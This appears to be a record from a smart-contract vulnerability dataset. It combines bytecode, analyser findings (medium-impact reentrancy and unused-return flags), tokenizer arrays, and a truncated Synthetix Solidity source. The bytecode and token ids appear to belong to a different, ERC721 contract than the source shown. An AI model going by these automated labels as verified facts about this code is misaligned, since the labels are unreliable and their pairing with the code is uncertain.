3d6000602084013e61114c565b606091505b50805161116b5760405162461bcd60e51b81526004016104289061180e565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610cc1565b506001949350505050565b6001600160a01b0382166111ee5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610428565b6000818152600260205260409020546001600160a01b0316156112535760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610428565b61125f60008383610fd3565b6001600160a01b03821660009081526003602052604081208054600192906112889084906117f6565b909155505060008181526002602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600060016112f3846107cc565b6112fd91906117df565b600083815260076020526040902054909150808214611350576001600160a01b03841660009081526006602090815260408083208584528252808320548484528184208190558352600790915290208190555b5060009182526007602090815260408084208490556001600160a01b039094168352600681528383209183525290812055565b600854600090611395906001906117df565b600083815260096020526040812054600880549394509092849081106113bd576113bd6117b3565b9060005260206000200154905080600883815481106113de576113de6117b3565b6000918252602080832090910192909255828152600990915260408082208490558582528120556008805480611416576114166118ba565b6001900381819060005260206000200160009055905550505050565b600061143d836107cc565b6001600160a01b039093166000908152600660209081526040808320868452825280832085905593825260079052919091209190915550565b6001600160e01b031981168114610ab357600080fd5b60006020828403121561149e57600080fd5b81356114a981611476565b9392505050565b6000815180845260005b818110156114d6576020818501810151868301820152016114ba565b818111156114e8576000602083870101525b50601f01601f19169290920160200192915050565b6020815260006114a960208301846114b0565b60006020828403121561152257600080fd5b5035919050565b80356001600160a01b038116811461154057600080fd5b919050565b6000806040838503121561155857600080fd5b61156183611529565b946020939093013593505050565b60008060006060848603121561158457600080fd5b61158d84611529565b925061159b60208501611529565b9150604084013590509250925092565b6000602082840312156115bd57600080fd5b6114a982611529565b600080604083850312156115d957600080fd5b6115e283611529565b9150602083013580151581146115f757600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b6000806000806080858703121561162e57600080fd5b61163785611529565b935061164560208601611529565b925060408501359150606085013567ffffffffffffffff8082111561166957600080fd5b818701915087601f83011261167d57600080fd5b81358181111561168f5761168f611602565b604051601f8201601f19908116603f011681019083821181831017156116b7576116b7611602565b816040528281528a60208487010111156116d057600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561170757600080fd5b61171083611529565b915061171e60208401611529565b90509250929050565b600181811c9082168061173b57607f821691505b6020821081141561175c57634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000828210156117f1576117f16117c9565b500390565b60008219821115611809576118096117c9565b500190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611893908301846114b0565b9695505050505050565b6000602082840312156118af57600080fd5b81516114a981611476565b634e487b7160e01b600052603160045260246000fdfe697066733a2f2f516d576842426162423155736445457064334b4b684b503646724371435a314e53783653703252477268444a4b62a2646970667358221220a455d7351738ab51c336b9922a9a81d5d17d685cd0d75613a538c850af9ebc5564736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 23352, 2546, 2683, 2094, 22610, 2683, 2575, 21057, 15878, 3207, 2549, 11329, 20842, 2278, 2620, 19481, 3401, 2629, 2546, 2683, 2487, 2094, 2692, 2497, 2581, 7011, 20952, 2549, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1023, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 19888, 9888, 1013, 14925, 5104, 2050, 1012, 14017, 1000, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,795
0x97607b048aEa97A821C3EdC881aF7743f8868950
/* ⚠⚠⚠ WARNING WARNING WARNING ⚠⚠⚠ This is a TARGET contract - DO NOT CONNECT TO IT DIRECTLY IN YOUR CONTRACTS or DAPPS! This contract has an associated PROXY that MUST be used for all integrations - this TARGET will be REPLACED in an upcoming Synthetix release! The proxy for this contract can be found here: https://contracts.synthetix.io/ProxyERC20 *//* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Synthetix.sol * * Latest source (may be newer): https://github.com/Synthetixio/synthetix/blob/master/contracts/Synthetix.sol * Docs: https://docs.synthetix.io/contracts/Synthetix * * Contract Dependencies: * - BaseSynthetix * - ExternStateToken * - IAddressResolver * - IERC20 * - ISynthetix * - MixinResolver * - Owned * - Proxyable * - State * Libraries: * - SafeDecimalMath * - SafeMath * - VestingEntries * * MIT License * =========== * * Copyright (c) 2022 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity >=0.4.24; // https://docs.synthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.synthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/proxyable contract Proxyable is Owned { // This contract should be treated like an abstract contract /* The proxy this contract exists behind. */ Proxy public proxy; /* The caller of the proxy, passed through to this contract. * Note that every function using this member must apply the onlyProxy or * optionalProxy modifiers, otherwise their invocations can use stale values. */ address public messageSender; constructor(address payable _proxy) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setProxy(address payable _proxy) external onlyOwner { proxy = Proxy(_proxy); emit ProxyUpdated(_proxy); } function setMessageSender(address sender) external onlyProxy { messageSender = sender; } modifier onlyProxy { _onlyProxy(); _; } function _onlyProxy() private view { require(Proxy(msg.sender) == proxy, "Only the proxy can call"); } modifier optionalProxy { _optionalProxy(); _; } function _optionalProxy() private { if (Proxy(msg.sender) != proxy && messageSender != msg.sender) { messageSender = msg.sender; } } modifier optionalProxy_onlyOwner { _optionalProxy_onlyOwner(); _; } // solhint-disable-next-line func-name-mixedcase function _optionalProxy_onlyOwner() private { if (Proxy(msg.sender) != proxy && messageSender != msg.sender) { messageSender = msg.sender; } require(messageSender == owner, "Owner only function"); } event ProxyUpdated(address proxyAddress); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // Libraries // https://docs.synthetix.io/contracts/source/libraries/safedecimalmath library SafeDecimalMath { using SafeMath for uint; /* Number of decimal places in the representations. */ uint8 public constant decimals = 18; uint8 public constant highPrecisionDecimals = 27; /* The number representing 1.0. */ uint public constant UNIT = 10**uint(decimals); /* The number representing 1.0 for higher fidelity numbers. */ uint public constant PRECISE_UNIT = 10**uint(highPrecisionDecimals); uint private constant UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR = 10**uint(highPrecisionDecimals - decimals); /** * @return Provides an interface to UNIT. */ function unit() external pure returns (uint) { return UNIT; } /** * @return Provides an interface to PRECISE_UNIT. */ function preciseUnit() external pure returns (uint) { return PRECISE_UNIT; } /** * @return The result of multiplying x and y, interpreting the operands as fixed-point * decimals. * * @dev A unit factor is divided out after the product of x and y is evaluated, * so that product must be less than 2**256. As this is an integer division, * the internal division always rounds down. This helps save on gas. Rounding * is more expensive on gas. */ function multiplyDecimal(uint x, uint y) internal pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ return x.mul(y) / UNIT; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of the specified precision unit. * * @dev The operands should be in the form of a the specified unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function _multiplyDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { /* Divide by UNIT to remove the extra factor introduced by the product. */ uint quotientTimesTen = x.mul(y) / (precisionUnit / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a precise unit. * * @dev The operands should be in the precise unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, PRECISE_UNIT); } /** * @return The result of safely multiplying x and y, interpreting the operands * as fixed-point decimals of a standard unit. * * @dev The operands should be in the standard unit factor which will be * divided out after the product of x and y is evaluated, so that product must be * less than 2**256. * * Unlike multiplyDecimal, this function rounds the result to the nearest increment. * Rounding is useful when you need to retain fidelity for small decimal numbers * (eg. small fractions or percentages). */ function multiplyDecimalRound(uint x, uint y) internal pure returns (uint) { return _multiplyDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is a high * precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and UNIT must be less than 2**256. As * this is an integer division, the result is always rounded down. * This helps save on gas. Rounding is more expensive on gas. */ function divideDecimal(uint x, uint y) internal pure returns (uint) { /* Reintroduce the UNIT factor that will be divided out by y. */ return x.mul(UNIT).div(y); } /** * @return The result of safely dividing x and y. The return value is as a rounded * decimal in the precision unit specified in the parameter. * * @dev y is divided after the product of x and the specified precision unit * is evaluated, so the product of x and the specified precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function _divideDecimalRound( uint x, uint y, uint precisionUnit ) private pure returns (uint) { uint resultTimesTen = x.mul(precisionUnit * 10).div(y); if (resultTimesTen % 10 >= 5) { resultTimesTen += 10; } return resultTimesTen / 10; } /** * @return The result of safely dividing x and y. The return value is as a rounded * standard precision decimal. * * @dev y is divided after the product of x and the standard precision unit * is evaluated, so the product of x and the standard precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRound(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, UNIT); } /** * @return The result of safely dividing x and y. The return value is as a rounded * high precision decimal. * * @dev y is divided after the product of x and the high precision unit * is evaluated, so the product of x and the high precision unit must * be less than 2**256. The result is rounded to the nearest increment. */ function divideDecimalRoundPrecise(uint x, uint y) internal pure returns (uint) { return _divideDecimalRound(x, y, PRECISE_UNIT); } /** * @dev Convert a standard decimal representation to a high precision one. */ function decimalToPreciseDecimal(uint i) internal pure returns (uint) { return i.mul(UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR); } /** * @dev Convert a high precision decimal to a standard decimal representation. */ function preciseDecimalToDecimal(uint i) internal pure returns (uint) { uint quotientTimesTen = i / (UNIT_TO_HIGH_PRECISION_CONVERSION_FACTOR / 10); if (quotientTimesTen % 10 >= 5) { quotientTimesTen += 10; } return quotientTimesTen / 10; } // Computes `a - b`, setting the value to 0 if b > a. function floorsub(uint a, uint b) internal pure returns (uint) { return b >= a ? 0 : a - b; } /* ---------- Utilities ---------- */ /* * Absolute value of the input, returned as a signed number. */ function signedAbs(int x) internal pure returns (int) { return x < 0 ? -x : x; } /* * Absolute value of the input, returned as an unsigned number. */ function abs(int x) internal pure returns (uint) { return uint(signedAbs(x)); } } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/state contract State is Owned { // the address of the contract that can modify variables // this can only be changed by the owner of this contract address public associatedContract; constructor(address _associatedContract) internal { // This contract is abstract, and thus cannot be instantiated directly require(owner != address(0), "Owner must be set"); associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract, "Only the associated contract can perform this action"); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address associatedContract); } // Inheritance // https://docs.synthetix.io/contracts/source/contracts/tokenstate contract TokenState is Owned, State { /* ERC20 fields. */ mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; constructor(address _owner, address _associatedContract) public Owned(_owner) State(_associatedContract) {} /* ========== SETTERS ========== */ /** * @notice Set ERC20 allowance. * @dev Only the associated contract may call this. * @param tokenOwner The authorising party. * @param spender The authorised party. * @param value The total value the authorised party may spend on the * authorising party's behalf. */ function setAllowance( address tokenOwner, address spender, uint value ) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } /** * @notice Set the balance in a given account * @dev Only the associated contract may call this. * @param account The account whose value to set. * @param value The new balance of the given account. */ function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } } // Inheritance // Libraries // Internal references // https://docs.synthetix.io/contracts/source/contracts/externstatetoken contract ExternStateToken is Owned, Proxyable { using SafeMath for uint; using SafeDecimalMath for uint; /* ========== STATE VARIABLES ========== */ /* Stores balances and allowances. */ TokenState public tokenState; /* Other ERC20 fields. */ string public name; string public symbol; uint public totalSupply; uint8 public decimals; constructor( address payable _proxy, TokenState _tokenState, string memory _name, string memory _symbol, uint _totalSupply, uint8 _decimals, address _owner ) public Owned(_owner) Proxyable(_proxy) { tokenState = _tokenState; name = _name; symbol = _symbol; totalSupply = _totalSupply; decimals = _decimals; } /* ========== VIEWS ========== */ /** * @notice Returns the ERC20 allowance of one party to spend on behalf of another. * @param owner The party authorising spending of their funds. * @param spender The party spending tokenOwner's funds. */ function allowance(address owner, address spender) public view returns (uint) { return tokenState.allowance(owner, spender); } /** * @notice Returns the ERC20 token balance of a given account. */ function balanceOf(address account) external view returns (uint) { return tokenState.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ /** * @notice Set the address of the TokenState contract. * @dev This can be used to "pause" transfer functionality, by pointing the tokenState at 0x000.. * as balances would be unreachable. */ function setTokenState(TokenState _tokenState) external optionalProxy_onlyOwner { tokenState = _tokenState; emitTokenStateUpdated(address(_tokenState)); } function _internalTransfer( address from, address to, uint value ) internal returns (bool) { /* Disallow transfers to irretrievable-addresses. */ require(to != address(0) && to != address(this) && to != address(proxy), "Cannot transfer to this address"); // Insufficient balance will be handled by the safe subtraction. tokenState.setBalanceOf(from, tokenState.balanceOf(from).sub(value)); tokenState.setBalanceOf(to, tokenState.balanceOf(to).add(value)); // Emit a standard ERC20 transfer event emitTransfer(from, to, value); return true; } /** * @dev Perform an ERC20 token transfer. Designed to be called by transfer functions possessing * the onlyProxy or optionalProxy modifiers. */ function _transferByProxy( address from, address to, uint value ) internal returns (bool) { return _internalTransfer(from, to, value); } /* * @dev Perform an ERC20 token transferFrom. Designed to be called by transferFrom functions * possessing the optionalProxy or optionalProxy modifiers. */ function _transferFromByProxy( address sender, address from, address to, uint value ) internal returns (bool) { /* Insufficient allowance will be handled by the safe subtraction. */ tokenState.setAllowance(from, sender, tokenState.allowance(from, sender).sub(value)); return _internalTransfer(from, to, value); } /** * @notice Approves spender to transfer on the message sender's behalf. */ function approve(address spender, uint value) public optionalProxy returns (bool) { address sender = messageSender; tokenState.setAllowance(sender, spender, value); emitApproval(sender, spender, value); return true; } /* ========== EVENTS ========== */ function addressToBytes32(address input) internal pure returns (bytes32) { return bytes32(uint256(uint160(input))); } event Transfer(address indexed from, address indexed to, uint value); bytes32 internal constant TRANSFER_SIG = keccak256("Transfer(address,address,uint256)"); function emitTransfer( address from, address to, uint value ) internal { proxy._emit(abi.encode(value), 3, TRANSFER_SIG, addressToBytes32(from), addressToBytes32(to), 0); } event Approval(address indexed owner, address indexed spender, uint value); bytes32 internal constant APPROVAL_SIG = keccak256("Approval(address,address,uint256)"); function emitApproval( address owner, address spender, uint value ) internal { proxy._emit(abi.encode(value), 3, APPROVAL_SIG, addressToBytes32(owner), addressToBytes32(spender), 0); } event TokenStateUpdated(address newTokenState); bytes32 internal constant TOKENSTATEUPDATED_SIG = keccak256("TokenStateUpdated(address)"); function emitTokenStateUpdated(address newTokenState) internal { proxy._emit(abi.encode(newTokenState), 1, TOKENSTATEUPDATED_SIG, 0, 0, 0); } } // https://docs.synthetix.io/contracts/source/interfaces/iaddressresolver interface IAddressResolver { function getAddress(bytes32 name) external view returns (address); function getSynth(bytes32 key) external view returns (address); function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address); } // https://docs.synthetix.io/contracts/source/interfaces/isynth interface ISynth { // Views function currencyKey() external view returns (bytes32); function transferableSynths(address account) external view returns (uint); // Mutative functions function transferAndSettle(address to, uint value) external returns (bool); function transferFromAndSettle( address from, address to, uint value ) external returns (bool); // Restricted: used internally to Synthetix function burn(address account, uint amount) external; function issue(address account, uint amount) external; } // https://docs.synthetix.io/contracts/source/interfaces/iissuer interface IIssuer { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function canBurnSynths(address account) external view returns (bool); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function collateralisationRatioAndAnyRatesInvalid(address _issuer) external view returns (uint cratio, bool anyRateIsInvalid); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint debtBalance); function issuanceRatio() external view returns (uint); function lastIssueEvent(address account) external view returns (uint); function maxIssuableSynths(address issuer) external view returns (uint maxIssuable); function minimumStakeTime() external view returns (uint); function remainingIssuableSynths(address issuer) external view returns ( uint maxIssuable, uint alreadyIssued, uint totalSystemDebt ); function synths(bytes32 currencyKey) external view returns (ISynth); function getSynths(bytes32[] calldata currencyKeys) external view returns (ISynth[] memory); function synthsByAddress(address synthAddress) external view returns (bytes32); function totalIssuedSynths(bytes32 currencyKey, bool excludeOtherCollateral) external view returns (uint); function transferableSynthetixAndAnyRateIsInvalid(address account, uint balance) external view returns (uint transferable, bool anyRateIsInvalid); // Restricted: used internally to Synthetix function issueSynths(address from, uint amount) external; function issueSynthsOnBehalf( address issueFor, address from, uint amount ) external; function issueMaxSynths(address from) external; function issueMaxSynthsOnBehalf(address issueFor, address from) external; function burnSynths(address from, uint amount) external; function burnSynthsOnBehalf( address burnForAddress, address from, uint amount ) external; function burnSynthsToTarget(address from) external; function burnSynthsToTargetOnBehalf(address burnForAddress, address from) external; function burnForRedemption( address deprecatedSynthProxy, address account, uint balance ) external; function liquidateDelinquentAccount( address account, uint susdAmount, address liquidator ) external returns (uint totalRedeemed, uint amountToLiquidate); function setCurrentPeriodId(uint128 periodId) external; } // Inheritance // Internal references // https://docs.synthetix.io/contracts/source/contracts/addressresolver contract AddressResolver is Owned, IAddressResolver { mapping(bytes32 => address) public repository; constructor(address _owner) public Owned(_owner) {} /* ========== RESTRICTED FUNCTIONS ========== */ function importAddresses(bytes32[] calldata names, address[] calldata destinations) external onlyOwner { require(names.length == destinations.length, "Input lengths must match"); for (uint i = 0; i < names.length; i++) { bytes32 name = names[i]; address destination = destinations[i]; repository[name] = destination; emit AddressImported(name, destination); } } /* ========= PUBLIC FUNCTIONS ========== */ function rebuildCaches(MixinResolver[] calldata destinations) external { for (uint i = 0; i < destinations.length; i++) { destinations[i].rebuildCache(); } } /* ========== VIEWS ========== */ function areAddressesImported(bytes32[] calldata names, address[] calldata destinations) external view returns (bool) { for (uint i = 0; i < names.length; i++) { if (repository[names[i]] != destinations[i]) { return false; } } return true; } function getAddress(bytes32 name) external view returns (address) { return repository[name]; } function requireAndGetAddress(bytes32 name, string calldata reason) external view returns (address) { address _foundAddress = repository[name]; require(_foundAddress != address(0), reason); return _foundAddress; } function getSynth(bytes32 key) external view returns (address) { IIssuer issuer = IIssuer(repository["Issuer"]); require(address(issuer) != address(0), "Cannot find Issuer address"); return address(issuer.synths(key)); } /* ========== EVENTS ========== */ event AddressImported(bytes32 name, address destination); } // Internal references // https://docs.synthetix.io/contracts/source/contracts/mixinresolver contract MixinResolver { AddressResolver public resolver; mapping(bytes32 => address) private addressCache; constructor(address _resolver) internal { resolver = AddressResolver(_resolver); } /* ========== INTERNAL FUNCTIONS ========== */ function combineArrays(bytes32[] memory first, bytes32[] memory second) internal pure returns (bytes32[] memory combination) { combination = new bytes32[](first.length + second.length); for (uint i = 0; i < first.length; i++) { combination[i] = first[i]; } for (uint j = 0; j < second.length; j++) { combination[first.length + j] = second[j]; } } /* ========== PUBLIC FUNCTIONS ========== */ // Note: this function is public not external in order for it to be overridden and invoked via super in subclasses function resolverAddressesRequired() public view returns (bytes32[] memory addresses) {} function rebuildCache() public { bytes32[] memory requiredAddresses = resolverAddressesRequired(); // The resolver must call this function whenver it updates its state for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // Note: can only be invoked once the resolver has all the targets needed added address destination = resolver.requireAndGetAddress(name, string(abi.encodePacked("Resolver missing target: ", name))); addressCache[name] = destination; emit CacheUpdated(name, destination); } } /* ========== VIEWS ========== */ function isResolverCached() external view returns (bool) { bytes32[] memory requiredAddresses = resolverAddressesRequired(); for (uint i = 0; i < requiredAddresses.length; i++) { bytes32 name = requiredAddresses[i]; // false if our cache is invalid or if the resolver doesn't have the required address if (resolver.getAddress(name) != addressCache[name] || addressCache[name] == address(0)) { return false; } } return true; } /* ========== INTERNAL FUNCTIONS ========== */ function requireAndGetAddress(bytes32 name) internal view returns (address) { address _foundAddress = addressCache[name]; require(_foundAddress != address(0), string(abi.encodePacked("Missing address: ", name))); return _foundAddress; } /* ========== EVENTS ========== */ event CacheUpdated(bytes32 name, address destination); } interface IVirtualSynth { // Views function balanceOfUnderlying(address account) external view returns (uint); function rate() external view returns (uint); function readyToSettle() external view returns (bool); function secsLeftInWaitingPeriod() external view returns (uint); function settled() external view returns (bool); function synth() external view returns (ISynth); // Mutative functions function settle(address account) external; } // https://docs.synthetix.io/contracts/source/interfaces/isynthetix interface ISynthetix { // Views function anySynthOrSNXRateIsInvalid() external view returns (bool anyRateInvalid); function availableCurrencyKeys() external view returns (bytes32[] memory); function availableSynthCount() external view returns (uint); function availableSynths(uint index) external view returns (ISynth); function collateral(address account) external view returns (uint); function collateralisationRatio(address issuer) external view returns (uint); function debtBalanceOf(address issuer, bytes32 currencyKey) external view returns (uint); function isWaitingPeriod(bytes32 